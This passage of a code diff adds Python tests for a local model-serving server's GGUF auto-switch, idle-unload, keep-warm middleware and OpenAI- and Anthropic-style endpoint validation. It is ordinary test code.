+    # 409 the other. Simulate the second request already waiting (registered) while
+    # the first runs the hook with _inflight counting both.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # both same-target requests counted
+    monkeypatch.setattr(kw, "_pending", 0)
+    inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1)
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch):
+    # A concurrent request heading to a different target still blocks the swap: the
+    # same-target exclusion must not swallow a genuinely conflicting request.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)
+    monkeypatch.setattr(kw, "_pending", 0)
+    inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []
+
+
+def test_v1_models_advertises_repo_id_not_load_path(monkeypatch):
+    # /v1/models must report the advertised repo id, never the host load path.
+    from types import SimpleNamespace
+
+    llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc")
+    llama._openai_advertised_id = "org/Repo-GGUF"
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(
+        inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None)
+    )
+    objects = inference_route._openai_model_objects()
+    assert [o["id"] for o in objects] == ["org/Repo-GGUF"]
+
+
+def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch):
+    # The idle stash carries (load_path, quant, advertised_id). An alias reload must
+    # look up the override by the advertised repo id, not the concrete load path,
+    # so the user's saved launch flags survive the unload/reload.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    overrides = {"org/A-GGUF": {"max_seq_length": 8192}}
+    monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {}))
+    _run_hook("gpt-4o-mini")
+    assert rec.calls[0].model_path == "/cache/snap/A"  # reloads the freed path
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+    assert rec.calls[0].max_seq_length == 8192  # override keyed by repo id, not path
+
+
+def test_load_route_holds_lifecycle_gate(monkeypatch):
+    # Lock the manual /load gate against silent revert: the route must wrap the
+    # load in inference_lifecycle_gate so idle-unload can't fire mid-load.
+    import inspect
+
+    src = inspect.getsource(inference_route.load_model)
+    assert "inference_lifecycle_gate" in src
+    assert "_load_model_impl" in src
+
+
+def _anthropic_payload(max_tokens = None):
+    from models.inference import AnthropicMessagesRequest, AnthropicMessage
+    return AnthropicMessagesRequest(
+        model = "claude-x",
+        max_tokens = max_tokens,
+        messages = [AnthropicMessage(role = "user", content = "hi")],
+    )
+
+
+def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch):
+    # Default-off parity: unloaded backend + auto-switch off 503s before the
+    # max_tokens 400, exactly as the pre-feature endpoint did.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester"))
+    assert exc.value.status_code == 503
+
+
+def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch):
+    # With auto-switch on, request-shape validation runs first: a missing
+    # max_tokens still 400s before any load is attempted.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester"))
+    assert exc.value.status_code == 400
+
+
+# ── review round 6: concurrency ordering, external untrack, unload gate, ids ──
+
+
+def test_pending_same_target_request_does_not_force_409(monkeypatch):
+    # A second same-target request blocked in the middleware (pending, not yet
+    # generating) must not make the first request 409: pending is excluded.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 1)  # just the caller
+    monkeypatch.setattr(kw, "_pending", 1)  # second request blocked in middleware
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch):
+    # The real middleware counts a concurrent same-model request as in-flight
+    # before it resolves and registers a target waiter. The raw-request waiter,
+    # registered before resolve, must still exclude it so the first request loads.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # caller + a still-resolving twin
+    monkeypatch.setattr(kw, "_pending", 0)
+    # The twin has only registered its raw requested model (not yet a target waiter).
+    inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1)
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1  # loads once, no 409
+
+
+def test_external_untrack_decrements_inflight_and_is_idempotent():
+    from core.inference import llama_keepwarm as kw
+
+    kw._inflight = 2
+    scope = {"type": "http"}
+    kw.untrack_current_request(scope)
+    assert kw._inflight == 1
+    assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True
+    kw.untrack_current_request(scope)  # idempotent: no further decrement
+    assert kw._inflight == 1
+    kw._inflight = 0
+
+
+def test_manual_unload_interrupts_even_while_inference_active(monkeypatch):
+    # A manual /unload is a deliberate action: it tears down immediately even with
+    # a request in flight (only the automatic idle loop defers). No 409.
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    backend = _FakeBackend("org/A-GGUF")
+    backend.is_active = True
+    backend.unload_model = lambda: setattr(backend, "is_loaded", False)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+    monkeypatch.setattr(kw, "_inflight", 1)  # another request streaming
+    monkeypatch.setattr(kw, "_pending", 0)
+    resp = asyncio.run(
+        inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester")
+    )
+    assert resp.status == "unloaded"
+    assert not backend.is_loaded  # torn down despite the active request
+
+
+def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch):
+    # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight).
+    # _load_model_impl would unload it, so auto-switch must 409, not only when a
+    # GGUF is loaded.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # no GGUF loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(kw, "_inflight", 2)  # an Unsloth stream + this request
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        _run_hook("org/B-GGUF:Q8_0")
+    assert exc.value.status_code == 409
+    assert rec.calls == []  # the active Unsloth model is not torn down
+
+
+def test_public_model_id_prefers_advertised_over_path():
+    backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf")
+    backend._openai_advertised_id = "org/Repo-GGUF"
+    # The advertised repo id from an auto-switch load wins.
+    assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF"
+    backend._openai_advertised_id = None
+    # No advertised id: the identifier is cleaned to a public id (delegates to
+    # public_model_id), never the raw on-disk .gguf path.
+    cleaned = inference_route._llama_public_model_id(backend)
+    assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf")
+    # An already-clean repo id passes through unchanged.
+    backend.model_identifier = "org/Repo-GGUF"
+    assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF"
+    backend.model_identifier = None
+    assert inference_route._llama_public_model_id(backend, "req") == "req"
+
+
+def test_chat_validates_non_system_message_before_auto_switch():
+    # A system-only chat must be rejected before the hook so an invalid request
+    # never swaps the resident model. Asserted on source order.
+    import inspect
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("At least one non-system message is required.") < src.index(
+        "_maybe_auto_switch_model"
+    )
+
+
+def test_chat_untracks_external_provider_before_proxy():
+    # The external-provider branch must untrack the request before proxying so its
+    # stream can't block a concurrent local auto-switch.
+    import inspect
+    src = inspect.getsource(inference_route.openai_chat_completions)
+    assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider")
+
+
+# ── round 7: API-initiated training defers to active inference, UI does not ──
+
+
+def test_authenticated_via_api_key_detects_key_vs_session():
+    from fastapi.security import HTTPAuthorizationCredentials
+    from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX
+
+    key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc")
+    jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session")
+    assert asyncio.run(authenticated_via_api_key(key)) is True
+    assert asyncio.run(authenticated_via_api_key(jwt)) is False
+
+
+def _training_request():
+    from models.training import TrainingStartRequest
+    return TrainingStartRequest(
+        model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca"
+    )
+
+
+def test_api_training_refused_while_inference_active(monkeypatch):
+    # API-key caller: training is refused with 409 while a request streams, so it
+    # can't free VRAM by unloading the chat model out from under the stream.
+    from fastapi import HTTPException
+    from core.inference import llama_keepwarm as kw
+    import routes.training as training_route
+
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            training_route.start_training(
+                _training_request(), current_subject = "t", via_api_key = True
+            )
+        )
+    assert exc.value.status_code == 409
+
+
+def test_ui_training_not_blocked_by_active_inference(monkeypatch):
+    # UI (session auth) caller: the API guard is skipped, so training proceeds past
+    # it even with inference active (here it hits the normal already-active path).
+    from types import SimpleNamespace
+    from core.inference import llama_keepwarm as kw
+    import routes.training as training_route
+
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_pending", 0)
+    fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1")
+    monkeypatch.setattr(training_route, "get_training_backend", lambda: fake)
+    resp = asyncio.run(
+        training_route.start_training(_training_request(), current_subject = "t", via_api_key = False)
+    )
+    assert resp.status == "error" and "already" in (resp.error or "").lower()
+
+
+# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ──
+
+
+def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch):
+    # With nothing stored, the env var enables idle-unload even while auto-switch
+    # is off (headless/ops default), and the UI reader reflects it.
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d)  # nothing stored
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600")
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    assert settings.get_auto_unload_idle_seconds() == 600
+    assert settings.get_stored_auto_unload_idle_seconds() == 600
+
+
+def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch):
+    # An explicit stored value wins over the env default and remains gated on the
+    # auto-switch toggle.
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30}
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600")
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert settings.get_auto_unload_idle_seconds() == 30  # stored wins, not env
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    assert settings.get_auto_unload_idle_seconds() == 0  # explicit value still gated off
+
+
+def test_env_idle_ttl_invalid_is_ignored(monkeypatch):
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d)
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number")
+    assert settings.get_auto_unload_idle_seconds() == 0
+    monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False)
+    assert settings.get_auto_unload_idle_seconds() == 0
+
+
+# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ──
+
+
+def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch):
+    # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on
+    # idle; the next request must restore exactly what was freed even though the
+    # resolver never runs while auto-switch is off.
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # idle-unload emptied the slot
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),  # would switch if resolver ran
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600)  # standalone env TTL
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    _run_hook("org/B-GGUF")
+    # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A
+    # is restored, not the resolves_to target B.
+    assert len(rec.calls) == 1
+    assert rec.calls[0].model_path == "/cache/snap/A"
+    assert rec.calls[0].gguf_variant == "Q4_K_M"
+
+
+def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch):
+    # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op
+    # and must not resurrect a stashed model (that path only serves the idle feature).
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    _run_hook("org/B-GGUF")
+    assert rec.calls == []
+
+
+def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch):
+    # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot
+    # empty but is the live model; an unknown /v1 name must NOT resurrect the stale
+    # GGUF stash (that reload would tear the active Unsloth model down).
+    from types import SimpleNamespace
+    from core.inference import llama_keepwarm as kw
+
+    backend = _FakeBackend(None)  # GGUF slot empty
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+    # An Unsloth model is the live backend.
+    monkeypatch.setattr(
+        inference_route,
+        "get_inference_backend",
+        lambda: SimpleNamespace(active_model_name = "unsloth/Qwen3-8B"),
+    )
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []  # stale GGUF not reloaded over the active Unsloth model
+
+
+def test_is_abs_path_id_distinguishes_path_from_repo_id():
+    assert resolver._is_abs_path_id("/abs/path/model.gguf") is True
+    assert resolver._is_abs_path_id("org/Repo-GGUF") is False
+    assert resolver._is_abs_path_id("Repo") is False
+
+
+def test_advertised_loader_id_prefers_alias_over_abs_path():
+    # C1: the ./models and LM Studio scanners report the on-disk path as info.id.
+    from types import SimpleNamespace
+
+    f = resolver._advertised_loader_id
+    # An absolute-path id falls back to the first non-path alias.
+    assert (
+        f(SimpleNamespace(id = "/home/me/models/x", model_id = "org/X-GGUF", display_name = "X"))
+        == "org/X-GGUF"
+    )
+    # No alias available: strip the path to a public id so a host path is never advertised.
+    assert (
+        f(
+            SimpleNamespace(
+                id = "/home/me/models/Qwen3-8B-Q4_K_M.gguf", model_id = None, display_name = None
+            )
+        )
+        == "Qwen3-8B-Q4_K_M"
+    )
+    # A normal repo id is advertised as-is.
+    assert (
+        f(SimpleNamespace(id = "org/X-GGUF", model_id = "org/X-GGUF", display_name = "X")) == "org/X-GGUF"
+    )
+
+
+def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch):
+    # C1 end-to-end: a scanner that reports the path as the id must not advertise the
+    # host path in /v1/models, yet the model stays resolvable by that path too.
+    from types import SimpleNamespace
+    import routes.models as models_route
+
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"x" * 32)
+    info = SimpleNamespace(
+        id = str(gguf),  # scanner uses the on-disk path as the id
+        path = str(gguf),
+        model_id = "org/Repo-GGUF",
+        display_name = "Repo",
+    )
+    monkeypatch.setattr(models_route, "_scan_models_dir", lambda *a, **k: [info])
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    resolver._scan = (0.0, {})
+
+    # The advertised id is the alias, never the absolute path.
+    advertised = sorted({entry.loader_id for entry in resolver._index().values()})
+    assert advertised == ["org/Repo-GGUF"]
+    # But the model is still resolvable by its on-disk path (an indexed alias).
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf(str(gguf)) is not None
+
+
+def test_build_index_survives_a_failing_scanner(tmp_path, monkeypatch):
+    # gemini: one bad scanner (e.g. a permission error on ./models) must drop only
+    # that source, not abort the whole index and lose what the others found.
+    from types import SimpleNamespace
+    import routes.models as models_route
+    import utils.paths as paths
+
+    def _boom(*a, **k):
+        raise OSError("permission denied")
+
+    lm_info = SimpleNamespace(
+        id = "org/Repo-GGUF", path = "/lm/Repo", model_id = "org/Repo-GGUF", display_name = "Repo"
+    )
+    monkeypatch.setattr(models_route, "_scan_models_dir", _boom)  # ./models blows up
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(models_route, "_scan_lmstudio_dir", lambda *a, **k: [lm_info])
+    monkeypatch.setattr(paths, "legacy_hf_cache_dir", lambda: None)
+    monkeypatch.setattr(paths, "hf_default_cache_dir", lambda: None)
+    monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [tmp_path])
+    # The on-disk GGUF check is covered elsewhere; here a found info becomes an entry.
+    monkeypatch.setattr(
+        resolver,
+        "_local_gguf_entry",
+        lambda loader_id, info: resolver._LocalGgufEntry(loader_id, "/lm/Repo", ()),
+    )
+    resolver._scan = (0.0, {})
+    index = resolver._build_index()
+    assert any(e.loader_id == "org/Repo-GGUF" for e in index.values())
+
+
+def test_info_has_local_gguf_reads_files_not_model_format(tmp_path):
+    # Codex: HF-cache GGUF snapshots leave model_format unset, so /v1/models must
+    # decide GGUF-ness from the on-disk files. A standalone .gguf (no model_format)
+    # is servable; a safetensors-only dir is not.
+    from types import SimpleNamespace
+
+    gguf = tmp_path / "model-Q4_K_M.gguf"
+    gguf.write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(gguf), path = str(gguf))) is True
+
+    st = tmp_path / "safetensors_model"
+    st.mkdir()
+    (st / "model.safetensors").write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(st), path = str(st))) is False
+
+
+def test_info_has_local_gguf_excludes_ollama_links(tmp_path):
+    # Codex P2: Ollama entries come from a scanner _build_index skips, so their
+    # advertised ids never resolve; the catalog must not report them as servable.
+    from types import SimpleNamespace
+
+    links = tmp_path / ".studio_links"
+    links.mkdir()
+    ollama_gguf = links / "model-Q4_K_M.gguf"
+    ollama_gguf.write_bytes(b"x" * 32)
+    assert (
+        resolver.info_has_local_gguf(SimpleNamespace(id = "ollama/foo:latest", path = str(ollama_gguf)))
+        is False
+    )
+    # The same GGUF outside an ollama-link dir is still servable.
+    plain = tmp_path / "model-Q4_K_M.gguf"
+    plain.write_bytes(b"x" * 32)
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(plain), path = str(plain))) is True
+
+
+def test_embeddings_input_present_helper():
+    f = inference_route._embeddings_input_present
+    assert f({"input": "hi"}) is True
+    assert f({"input": ["a", "b"]}) is True
+    assert f({"input": [1, 2, 3]}) is True
+    assert f({}) is False
+    assert f({"input": ""}) is False
+    assert f({"input": []}) is False
+
+
+def test_embeddings_rejects_missing_input_before_switch(monkeypatch):
+    # C2: with auto-switch on, an embeddings request carrying no input must 400
+    # before the hook, so an invalid request never swaps the resident model.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")  # loaded
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_embeddings(_json_body_request({"model": "org/B-GGUF"}), "tester")
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no model switch happened
+
+
+def test_retrieve_model_tolerates_non_string_id(monkeypatch):
+    # G2: a model object with a non-string id (defensive) must be skipped rather
+    # than crashing the .lower() compare; a valid id is still found, unknown 404s.
+    from fastapi import HTTPException
+
+    async def _objs():
+        return [{"id": 123, "object": "model"}, {"id": "org/B-GGUF", "object": "model"}]
+
+    monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: [])  # nothing loaded
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _objs)
+    obj = asyncio.run(inference_route.openai_retrieve_model("org/B-GGUF", "tester"))
+    assert obj["id"] == "org/B-GGUF"
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_retrieve_model("123", "tester"))
+    assert exc.value.status_code == 404
+
+
+def test_retrieve_model_resolves_raw_path_to_advertised_id(monkeypatch):
+    # Codex P2: a client caching the legacy absolute .gguf path must still retrieve
+    # a loaded auto-switch model. Its /v1/models entry is keyed by the advertised
+    # repo id (identifier = snapshot path), so the raw-path fallback must map the raw
+    # id to that advertised id, not public_model_id(path), or a loaded model 404s.
+    from types import SimpleNamespace
+
+    raw_path = "/cache/models--org--B-GGUF/snapshots/abc/model.gguf"
+    llama = SimpleNamespace(
+        is_loaded = True, model_identifier = raw_path, _openai_advertised_id = "org/B-GGUF"
+    )
+    infer = SimpleNamespace(active_model_name = None)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: infer)
+    monkeypatch.setattr(
+        inference_route,
+        "_openai_model_objects",
+        lambda: [{"id": "org/B-GGUF", "object": "model"}],
+    )
+
+    async def _empty():
+        return []
+
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _empty)
+    obj = asyncio.run(inference_route.openai_retrieve_model(raw_path, "tester"))
+    assert obj["id"] == "org/B-GGUF" and obj["loaded"] is True
+
+
+def test_chat_streaming_n_gt_1_rejected_before_switch(monkeypatch):
+    # Codex P2: only the non-streaming GGUF path returns multiple choices, so
+    # stream=true + n>1 is invalid on every local serving path. Both fields are
+    # known pre-switch, so it must 400 before the switch rather than loading model B.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    payload = _chat_request(model = "org/B-GGUF", stream = True, n = 2)
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []
+
+
+def test_resolver_cache_stamped_after_slow_build(monkeypatch):
+    # Codex P2: the cache must be stamped AFTER _build_index. A scan slower than the
+    # TTL would otherwise store an already-expired cache and rebuild every request.
+    import core.inference.local_model_resolver as r
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(r.time, "monotonic", lambda: clock["t"])
+    calls = {"n": 0}
+
+    def _slow_build():
+        calls["n"] += 1
+        clock["t"] += r._CACHE_TTL_S + 10.0  # the scan itself outlasts the TTL
+        return {}
+
+    monkeypatch.setattr(r, "_build_index", _slow_build)
+    r._scan = (0.0, {})
+    r._index()  # builds once, stamps post-scan
+    r._index()  # immediately after: must reuse the cache, not rebuild
+    assert calls["n"] == 1
+
+
+def test_keepwarm_does_not_stamp_activity_on_401(monkeypatch):
+    # Codex P2: the keep-warm middleware runs before auth, so a 401 must decrement
+    # the in-flight count without stamping activity, or unauthenticated probes would
+    # keep the model warm and block idle-unload.
+    import core.inference.llama_keepwarm as kw
+
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_pending", 0)
+    monkeypatch.setattr(kw, "_last_active", 100.0)
+
+    async def _recv():
+        return {"type": "http.request"}
+
+    async def _run(status_code):
+        async def _app(scope, receive, send):
+            await send({"type": "http.response.start", "status": status_code, "headers": []})
+            await send({"type": "http.response.body", "body": b"x", "more_body": False})
+
+        sent = []
+
+        async def _send(m):
+            sent.append(m)
+
+        mw = kw.LlamaKeepWarmMiddleware(_app)
+        await mw({"type": "http", "method": "POST", "path": "/v1/chat/completions"}, _recv, _send)
+
+    asyncio.run(_run(401))
+    assert kw._inflight == 0  # balanced (start then untracked end)
+    assert kw._last_active == 100.0  # activity NOT stamped for an auth failure
+    # A served (200) request still stamps activity.
+    asyncio.run(_run(200))
+    assert kw._inflight == 0
+    assert kw._last_active != 100.0
+
+
+# ── 10-reviewer round: automatic-load validation asymmetry, audio, preview, idle timer ──
+
+
+def _stash(monkeypatch, *, idle = 600):
+    """Common setup for the standalone-idle reload paths: feature off, idle TTL on,
+    an idle-freed model in the stash, nothing loaded, no in-flight requests."""
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: idle)
+    monkeypatch.setattr(kw, "_inflight", 0)
+    monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF"))
+
+
+def test_completions_prompt_present_helper():
+    f = inference_route._completions_prompt_present
+    assert f({"prompt": "hi"}) is True
+    assert f({"prompt": ["a", "b"]}) is True
+    assert f({}) is False
+    assert f({"prompt": ""}) is False
+    assert f({"prompt": []}) is False
+
+
+def test_completions_rejects_missing_prompt_before_switch(monkeypatch):
+    # #1: /v1/completions had no prompt pre-check, so a malformed request naming a
+    # different downloaded GGUF loaded it before failing. Now it 400s first.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("org/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(
+            inference_route.openai_completions(
+                _json_body_request({"model": "org/B-GGUF"}), "tester"
+            )
+        )
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no switch before rejection
+
+
+def test_chat_system_only_rejected_before_idle_reload(monkeypatch):
+    # #4: the chat pre-load guard only checked auto-switch; a standalone idle TTL
+    # could still reload a system-only chat before the 400. Now it 400s first.
+    from fastapi import HTTPException
+    from models.inference import ChatCompletionRequest
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    payload = ChatCompletionRequest(model = "x", messages = [{"role": "system", "content": "sys"}])
+    with pytest.raises(HTTPException) as exc:
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+    assert exc.value.status_code == 400
+    assert rec.calls == []  # no reload before rejection
+
+
+def test_embeddings_missing_input_rejected_before_idle_reload(monkeypatch):
+    # #5: same gap on /v1/embeddings; the missing-input 400 must fire under a
+    # standalone idle TTL too, not only when auto-switch is on.
+    from fastapi import HTTPException
+
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec)
+    _stash(monkeypatch)
+    with pytest.raises(HTTPException) as exc:
